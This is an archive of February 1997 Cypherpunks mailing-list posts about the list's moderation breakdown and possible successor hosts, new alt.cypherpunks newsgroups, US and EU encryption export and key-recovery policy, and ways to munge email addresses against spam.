>Thus far PGPMail 4.5 leaves out not only Mac-users, but W3.11-users also. I
>have asked PGP.com what they intend to do about the 3.11-users
>(W32s-enhanced or not). Since I'm sticking to W3.11 for the time being:
>somebody else have any suggestions?

I notice that PSM has had a name change concurrent with its availability
change. Could the unavailability have to do with a trademark dispute
between Highware & PGP, Inc.?

Is Highware going to release the source code of VSM?

Is PGP, Inc. going to release the source code of PGPMail 4.5?

If the answer is no, I am sticking with the free PGP. If the answer is no,
I guess these firms are expecting ignorance to be the primary
characteristic of their customers.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@frb.gov>
Date: Fri, 14 Feb 1997 08:59:10 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702141659.IAA10576@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	much as the irony of the idea appeals, i am not in a position
to offer a host/machine to run the list.  i *can* offer what i have
learned from running the FreeBSD mailing lists for 2+ years.

	so who has a host/machine, that we can use ;)
jmb

>At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
>                                                   ^^^^^^^
>>	your expected mail volume is 100,000+ messages a day?
>>
>>	i run lists that do 200,000+ routinely.
>>	recent peak of 350,000 messages
>>
>>	does that meet your needs?
>
>Great.
>
>Let's run cypherpunks with a government subsidy.
>
>;-).
>
>Pulling your leg, just a bit..
>
>Cheers,
>Bob Hettinga
>
>"So much for a geodesic monitary system..."
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"Never attribute to conspiracy what can be
>explained by stupidity." -- Jerry Pournelle
>The e$ Home Page: http://www.shipwright.com/rah/
>FC97: Anguilla, anyone? http://www.ai/fc97/
>
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 08:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702141611.IAA09307@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Feb 1997, Jim Choate wrote:

> I am taking intellectual property rights from nobody. If anything I am
> giving unlimited intellectual rights to the material to humankind for
> posterity. Sorta cypherpunkish, don't you think?

I am amused by this. Jim's plan sounds much less cypherpunkish than
collectivist. Communal property, ho!

After all, workers have nothing to lose in this revolution but their
chains. They have a world to gain. Workers of the world, unite! 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 08:11:25 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702141611.IAA09328@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just for the record.  I will not post to USENET given the spamming that
seems to go to IDs that appear there.  

If any of you reading this are interested in law&crypto topics, please
bookmark my homepage, and vist every so often.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 07:11:32 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: alt.cypherpunks
Message-ID: <199702141511.HAA07647@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
> newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
> newgroup made it onto the Net, and was reposted the next day by 
> usenet@news.myriad.ml.org.

My local server (news.demon.co.uk) recognised my newgroup for 
alt.cypherpunks and it was immediately visible, I don`t know how far 
it propogated or where Mikes took effect but whatever the 
distribution we seem to have reached most main news servers.
 
>         alt.cypherpunks.announce
>         alt.cypherpunks.social
>         alt.cypherpunks.technical
> 
> and, of course...
> 
>         alt.fan.paul.bradley

What else?

> The latter has been rmgrouped because it was not discussed in 
> alt.config. 

No, It was rmgrouped because the cmsg had no charter, I posted this 
to see if the Cabal would respond.
 
> I might suggest that deliberately tweeking the whiskers of the Cabal by
> gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

Quite so, I recieved mail the next day from a member of said clique 
telling me he "considered rmgrouping alt.cypherpunks.announce" 
because it was unmoderated. Needless to say he got a stern talking to 
for that one ;-) I guess I just have to much of a partiality for a 
little whisker tweeking ;-)




> 
> --
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"
> 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 07:11:20 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: alt.cypherpunks
Message-ID: <199702141511.HAA07633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> > For example, it hasn't received any messages on my news server,
> > probably because the one upstream removed it. 
> 
> Seems I'm getting alt.cypherpunks.announce (empty), but not
> alt.cypherpunks or any of the others that show up as newgroup'ed on
> Deja News...  Are they alive and well elsewhere? 

All of the groups have showed up at news.demon.co.uk (not suprisingly 
since I grouped them) and I haven`t seen any cancels. I was sent a 
message by some net.scum about him nearly rmgrouping 
alt.cypherpunks.announce because it was unmoderated but he got a 
stern "cypherpunk" talking to for that ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 07:13:15 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: alt.cypherpunks
Message-ID: <199702141513.HAA07722@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> > For example, it hasn't received any messages on my news server,
> > probably because the one upstream removed it. 
> 
> Seems I'm getting alt.cypherpunks.announce (empty), but not
> alt.cypherpunks or any of the others that show up as newgroup'ed on
> Deja News...  Are they alive and well elsewhere? 

All of the groups have showed up at news.demon.co.uk (not suprisingly 
since I grouped them) and I haven`t seen any cancels. I was sent a 
message by some net.scum about him nearly rmgrouping 
alt.cypherpunks.announce because it was unmoderated but he got a 
stern "cypherpunk" talking to for that ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@frb.gov>
Date: Fri, 14 Feb 1997 15:28:12 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702142328.PAA17030@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>	Well, if you can't deliver mail because their mailbox is full, then
>you should simply wait a few days before trying to deliver mail to that
>address. If it's because the address isn't there any more, you should delete
>it from the subscription lists. Otherwise, the instant people's mail quotas
>overflow (e.g., they're on AOL and they haven't been able to get through the
>clogged lines), they get bounced... or you're left with a lot of invalid
>addresses. The address causing the bounce is not necessarily determinable
>automatically from the bounce message; if it isn't, then you need to keep a
>copy around for a human to look at.

	who should bear the burden of dealing with bounces?
	the list admin or the owner of the bouncing address?

	if you have the time and desire, you can accomodate people
that bounce mail due to a temporarily full mailbox.

	if not, unsubscribe them after N bounces in a 24 hour period.  
it becomes their responsibility not to bounce more than N emails.

	when a list has 1000's of subscribers, i have not have been able
to provide the type of personal service that the first option entails. 
i do make a digest version of every list available.  if the digest bounces,
the bouncer??? bouncee?? stays below the N bounces threshhold 
(for many values of N :).

jmb







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy N. Hill" <tnh@ACM.ORG>
Date: Fri, 14 Feb 1997 15:56:30 -0800 (PST)
To: Bradley Dunn <bradley@dunn.org>
Subject: Re: Feds OK 128-bit crypto amid protests
Message-ID: <199702142356.PAA18044@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:14 -0500 97-02-13, Bradley Dunn wrote:
>See:
>http://www.news.com/News/Item/0,4,7925,00.html
>for details.

Thanks for the pointer.

Note that, unlike the previous three recipients of crypto export licenses,
Open Market did not enable government access to keys.  Instead they went
through the "expensive ... exercise" of convincing "government officials
that the product could not be used to encrypt anything but specific
financial numbers."

 - Tim

Timothy N. Hill <tnh@acm.org>                "We all love to instruct,
Wellesley, Massachusetts                      though we can teach only
<http://www.ma.ultranet.com/~tnh/>         what is not worth knowing."
PGP F058F75D 99C5122F 21C5BEF5 620C1D3C             - Elizabeth Bennet







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 23:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702140711.XAA25330@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:

thanx for ur answer but then i have another question.

1) is it illegal to develop an encryption tool (s/w) outside the US
which uses > 40 bit size session keys and then import that s/w inside of
the US.

anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 15:26:11 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <199702142326.PAA16953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for forwarding the USACM analysis. We've put it at:

   http://jya.com/usacm.htm

We'd welcome those submitted by cypherpunks or others, for 
putting on jya.com.

It will be some time before BXA publishes them along with the
Final Rule, and, there's worldwide interest in the US's 
foot-shooting.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 15:41:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142341.PAA17388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ok. I'll "put up". 

If the cypherpunks will have me, -I'll- run the cypherpunks
list. Those that know me know that I will *not* censor, moderate, or
otherwise alter the content (other than the stuff majordomo does with
"resend") of any messages to the list.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

    Advice is priceless; when it becomes interference it is preposterous.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Fri, 14 Feb 1997 15:26:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702142326.PAA16968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Is it legal or illegal to send a 
PGP encrypted message from the US to someone in another country?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwSrJdaX0pKkbeJ9AQG1ogQAloERqECRmAgHAOPq1LwTrWXMw9/E2c0C
Q8TqlVuc6pmW+L+DmTrMb0eZdSTJ00A4Fa4j1390UJEncA1X+zHMNMY9CmUJgDKZ
ROWNiD8tHiIQYJBH2400WYxKsFPb2mX31SJFc4gK0hQtturtzNXWjOGtowqes6MU
kp3/vpeFXZ4=
=pLXe
-----END PGP SIGNATURE-----


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Fri, 14 Feb 1997 15:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks afraid of spam?
Message-ID: <199702142356.PAA18079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
him personally, just his (distressingly common) attitude]

>Just for the record.  I will not post to USENET given the spamming that
>seems to go to IDs that appear there.

[chuckle]

Just add an anti-spam segment to your email address.

example:

jsmith[at]foo.com

Most people worth talking to have enough of a clue to replace [at] with @.

if your software requires an apparently valid email address, try

jsmith@NOSPAM.foo.com

I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
in the from: header. Sure, somebody out there is going to be unhappy with
me, but if they have a clue they'll figure it out. Meantime, the SpamBots
are bouncing mail to the admin of the site instead of to me.

That may not be enough if you're already in the spamming lists. Try
using 'positive' filtering- instead of filtering to eliminate unwanted
mail, filter email from regular correspondents into a 'approved'
directory, and leave the rest in the inbox to pick through later.

It seems very strange that the denziens of this list, reputed to be gutsy
enough to take on the FBI, NSA, CIA, and White House, would be scared
away from a discussion forum (Usenet) by uninvited email.

We'd better hope they never figure out Cypherpunks, Guardians of
Privacy and Defenders of Free Speech, are afraid of spam.

(And supposedly the 'Moderation experiment' is over, so this won't get
kicked onto the -flames list, although it's more ridicule than flame...)









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 15:42:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Industry Blasts U.S. Encryption Policy
Message-ID: <199702142342.PAA17472@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-14-97. National Business Review, NZ (http://www.nbr.co.nz/):

USA: Industry Groups Blast U.S. Encryption Policy.

Washington, Feb 13 (Reuter) - An array of private-sector trade groups 
charged Thursday the Clinton administration's new export policy on 
computer encoding technology was a failure. 

Encryption products, which scramble information and render it unreadable 
without a password or software "key," are subject to strict export 
limits, although the administration recently relaxed the rules a bit. 

The new policy "does not adequately address the needs of either the 
American business community or the general public," the 13 groups said 
in a letter to Clinton dated Wednesday and released Thursday. 

Among the groups signing the letter were the U.S. Chamber of Commerce, 
the National Association of Manufacturers and the National Retail 
Federation, along with a host of high-tech industry groups such as the
Business Software Alliance and the Information Technology Association of 
America. 

The Centre for Democracy and Technology, an advocacy group for civil 
liberties in cyberspace, and the Association of Research Libraries also 
signed the letter. 

An administration spokeswoman said that, despite the complaints, the 
current policy would be maintained. 

"The administration is moving ahead with our encryption export 
liberalisation policy," spokeswoman Heidi Kukis said. The policy balances 
diverse interests by "allowing us to develop exports while protecting our 
national security," she said. 

The administration has repeatedly said it opposes allowing unfettered 
powerful encryption programmes out of the country where they could be 
used by international criminals and terrorists. 

Under current policy, U.S. companies cannot export products containing 
so-called strong encryption, used to protect everything from a business' 
electronic mail to a consumer's credit card number sent over the Internet,
unless the products also allow the government to crack the code by 
recovering the software keys. 

Companies can get a license to export medium-strength encryption lacking 
so-called key recovery features if the companies agree to incorporate 
key recovery in future products within two years. 

The Commerce Department has issued three licenses so far under the 
two-year provision. Digital Equipment Corp., Trusted Information Systems 
Inc., and Cylink Corp. won approval by promising to offer key recovery
products by 1999. 

International Business Machines Corp. and Hewlett Packard Co. have said 
they are also seeking licenses. 

But companies and privacy advocates rejected the administration's key 
recovery-based approach. 

"It fails to accommodate the competitiveness concerns of sellers of 
encryption products, the security concerns of the buyers of such products, 
or important privacy rights," the groups said in their letter. 

"We believe a fundamental rethinking of this policy is necessary," they 
added. "We remain interested in working with you to achieve a constructive 
solution to this very difficult problem." 

Congress is already considering proposals to dramatically relax the export 
restrictions without requiring key recovery. 

-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 15:56:43 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702142356.PAA18073@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Date: Thu, 13 Feb 1997 02:08:21 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: Private property & the cypherpunks list(s)
> 
[...]
> 
> What I really find interesting is that in the 3 years SSZ has been up and
> the 8 mailing lists (with about 300 subscribers total) nobody has ever
> complained about the public domain policy and nobody has ever put a
> copyright header on their messages. All these lists are technical and
> several of them are directly involved with technical development of
> projects, some for commercial apps.
> 
> 
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage@ssz.com
> 
> 

Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
Reserved." in my .sig, would that constitute a "fair-use header"?

In general, I rather like your policy.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 15:41:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional subcommittee hearings on computer security
Message-ID: <199702142341.PAA17409@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


                Computer crimes rife,
                unreported 
                By Reuters
                February 13, 1997, 9:45 a.m. PT 

                WASHINGTON--Security experts say hackers
                are finding it easier to break into computer
                networks and steal money, partly because
                companies are reluctant to admit that they are
                vulnerable. 

                "If I want to steal money, a computer is a much
                better tool than a handgun," Daniel Geer, director of
                engineering for Open Market, told a House of
                Representatives technology subcommittee hearing on
                computer security. "


Has anyone been following this debate more closely?  Nothing in any 
of the articles I've seen on this story have mentioned the role of 
strong encryption.

<rhetorical question mode on>
Why can't banks better protect themselves?  Why can't banks better 
authenticate electronic transactions to prevent theft & break-ins?  
Why is the such a dearth of protective measures available to the 
institutions?

The public has a right to know!
<rhetorical question mode off>

Seriously, though, has anyone been following these hearings in more 
detail?

me

---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 15:55:49 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re:
Message-ID: <199702142355.PAA17958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 
> 

No it's not.  Where do you get this?  It would be illegal to send 
them a copy of the PGP program.  But sending encrypted messages is 
not illegal.

Please, cite your source
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 15:58:29 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <199702142358.PAA18156@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto allegedly said:
> 
> Jeremiah A Blatz wrote:
> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> 
> > Therefore, it would be a Good Thing to continue any discussion on
> > alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> > Sending out boosters every couple of weeks wouldn't hurt, either.
> 
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Pretty much, yes.  The voting process for a comp group is better, IMO.

But the distributed mailing list is by far the most interesting 
solution.  Contrary to what some have claimed, it really isn't the 
same as usenet -- it allows for distributed control.  There is no 
doubt that the operator of a mail list host should have the freedom 
to set his or her policies as they see fit -- it is their machine, 
and their responsibility.  And contrariwise, subscribers should have 
the freedom to chose list hosts with compatible philosophies.


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:43:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142343.PAA17502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


        It's always interesting  to see how another person, particularly a
writer, filters and reshapes an experience you shared with them .
Differences in the telling are inevitable -- but I perceived the recent
experience of the C'punks List quite differently than what Declan described
and implied in his column.

        My understanding of Sandy's effort, for instance, was that he was to
filter out the sludge of spam and contentless name-calling with which some
idiots were flooding the list.  My impression was that he was passing along
any posts with content (ideas, pro or con, on almost anything) but filtering
out the empty obscene name-calling and slurs (many of which seemed anon or
forged, with varied and misleading titles, to duck my kill-file filters.)

        I, for one, was appreciative.  I don't mind flames (and I expected
to still be able to recieve them, from whatever POV -- and it seemed that I
did!) but I also want a little meat somewhere amid the smoke.  

        Who did the filtering  (at the minimal level I expected) was almost
irrelevant. If the filtering was on content, I'd be unhappy -- but I was
eager to see some effort  to cut out the empty hate messages.  I even
suggested to Dale, off-list, that he take it on for awhile.  To me, the
issue was whether this community could develop some mechanism to defend
itself against a willful and intentional effort to destroy it.  I think we
failed to do so, despite the creative search for alternative venues -- and I
think the triumphant cackling I read on what's left of the List  is quite
out of place.  

        It may be that ideological purists were able to develop dynamic
local filters on their PCs  which satisfied them, but my filters just
could't do enough.  It was clear that the fecal-buckshot attacks on the List
were designed to evade them.   I'm still here, but it was more than a minor
annoyance. 

        (A year ago, I knew maybe five friends and acquaintances who
subscribed to C'punks, but they all ran out of patience with the unchecked
flow of sludge and unsubscribed...  months before John tried to introduce
his moderation experiment.)   If 700 dropped off right after the moderation
experiment was announced -- which I somehow doubt -- I wonder how many were
battered into unsubscribing in the six or eight months prior?

        And, of the fleeing 700, how many became bored with the obsession of
some (exhaustively prolific) writers with the "Moderation & Me" -- and went
off to find some discussion of cryptography, politics, and ideas elsewhere?
(Gawd knows, on the then-Moderated List  I never found any lack of
overwrought attacks on Sandy or John.  I even read them for a week or two;-)

        From this whole experience, I carry away something different than
those who gleefully celebrate Gilmore's surrender. I think something unusual
and valuable is being killed.  I'm now convinced that virtually all mailing
lists will soon be forced to either limit posts to authenticated subscribers
or introduce some sort of moderation -- just to deal with the spam threat
and the problem of concerned attacks by those who decide they hate or
dislike or simply want to destroy that particular List community .  

        By the logic of Tim and others, a clever and dedicated crusade
against Cypherpunks by any minimally-organized group, bir or small -- your
local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
destroyed the List at any time in the past.  I'm glad they never realized
how vulnerable we were;  I've enjoyed this Community greatly  in its current
manifestation. 

         I also hate to think of how gleeful the sociopaths who mail-bombed
us into the choice of submission or suicide must be today.  I think it is a
particularly henious crime to destroy a virtual community; something akin to
book-burning, but maybe more like arson -- like burning village schools.  

    There was a willful attempt to destroy C'punks, an attack of depth and
volume which led many of us (even those who had ignored at least three
earlier efforts to offer filtered subsets to the List)  to welcome the
Moderation Experiment. Unfortunately, the attempt at moderation just twisted
our own energies against ourselves.  We were, perhaps predictably, quite
easy to manipulate.

        If I have any criticism of John et al, it is that our List-Owner (a
statement of function, rather than property) never gave the List Community
an overt option to vote for  minimal moderation.  A tactical error.  That
that allowed the anarchists, nihlists, and others pure of heart to focus
their ire on toad.com and Sandy -- rather than on those of us who (when John
finally acted) might have gladly re-subscribed to another version of the
List in order to obtain minimal spam and slur filtration.  

        So now we ourselves burn the village in order to save it. 

        <nostalgic sigh>  

        How American!  

        Suerte,
                        _Vin



At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 15:56:33 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142356.PAA18063@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
> Ok. I'll "put up". 
> 
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

I think that it is a great idea. If you want to contribute to the 
effort to keep the list, this is great. You could join the network of
other cypherpunks mailing lists. 

There is a small list for discussing these networking issues,
cypherpunks-hosts@algebra.com. It is not for crypto-discussions per 
se, but rather for discussing how we proceed with these lists.

You can subscribe to it through majordomo@algebra.com.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 15:58:16 -0800 (PST)
To: omegam@communique.net
Subject: Re:
Message-ID: <199702142358.PAA18153@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Omegaman wrote:

> paul@fatmans.demon.co.uk wrote:
> > > Is it legal or illegal to send a 
> > > PGP encrypted message from the US to someone in another country?
> > 
> > Yes.
> 
> No it's not.  Where do you get this?  It would be illegal to send 
> them a copy of the PGP program.  But sending encrypted messages is 
> not illegal.

Actually, Paul implied that it was both legal and illegal.  I assume he 
meant that it is legal except where the *content* of the message contains 
something illegal (death threats against heads of state, etc.) But if you 
use strong encryption, who'll know? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 14 Feb 1997 15:56:46 -0800 (PST)
To: cryptography@c2.net
Subject: EuroGAK
Message-ID: <199702142356.PAA18078@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



An EU insider writes (paraphrased):


As you say, an EU policy on cryptography requires the utmost care.
We have been following US initiatives closely.  The USG's latest proposal
attempts to balance the need for security with the need to tackle crime.
Some EU Member States have begun work possibly leading to Government
access to keys (where legally authorised).  Various conventions and laws
set out rights for the citizen and these will be respected.

It is not suggested that access should include signature keys, only
those for message confidentiality (as with police search powers).






comment:

The term "Government access to keys" is used.

No mention of mandatory GAK, or the (in)effectiveness of GAK against crime.

He refers to "message  confidentiality ... police search powers"
by which he perhaps means wiretap, rather than search.  Or perhaps he means
storage as well as messages.

His "signature keys" does not specify the plan for a dual-purpose key,
but my guess is they would wish to obtain a dual-purpose key if interested in its cyphertext.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 15:56:38 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702142356.PAA18071@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

<explanation of anti-spam e-mail addresses snipped>

> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.

<evil grin> That's *much* better than the mundane 
c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t

===============================================================
		   Cynthia H. Brown, P.Eng.
